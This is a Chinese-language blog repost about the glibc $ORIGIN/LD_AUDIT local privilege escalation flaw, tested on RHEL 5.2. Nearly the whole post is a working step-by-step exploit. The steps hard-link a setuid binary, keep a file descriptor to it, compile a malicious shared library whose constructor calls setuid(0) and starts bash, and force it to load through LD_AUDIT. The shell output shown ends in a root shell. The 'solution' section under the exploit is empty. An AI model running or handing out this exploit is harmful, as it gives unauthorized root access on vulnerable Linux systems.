Chinaunix首页 | 论坛 | 博客
  • 博客访问: 266057
  • 博文数量: 53
  • 博客积分: 2580
  • 博客等级: 少校
  • 技术积分: 509
  • 用 户 组: 普通用户
  • 注册时间: 2009-12-29 10:02
文章分类

全部博文(53)

文章存档

2014年(1)

2013年(1)

2011年(14)

2010年(37)

我的朋友

分类: LINUX

2010-11-22 15:28:18

在Red Hat Enterprise Linux Server release 5.2 (Tikanga)测试是可以的
 
摘要:$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升,具体过程如下:
 
# 在/tmp...
$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升,具体过程如下:
 
# 在/tmp下创建可控制的目录
$ mkdir /tmp/exploit
 
# 链接到suid二进制程序以更改$ORIGIN的定义
$ ln /bin/ping /tmp/exploit/target
 
# 打开到目标二进制程序的文件描述符
$ exec 3< /tmp/exploit/target
 
# 现在可通过/proc访问描述符
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
 
# 删除之前所创建的目录
$ rm -rf /tmp/exploit/
 
# /proc链接仍存在,但已标记为已被删除
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
 
# 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
 
# 通过LD_AUDIT强制/proc中的链接加载$ORIGIN
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

本文转自 ☆★ 黑白前线 ★☆ - 转载请注明出处,侵权必究!
原文链接:  
 
 
 
解决办法:
 
阅读(1393) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~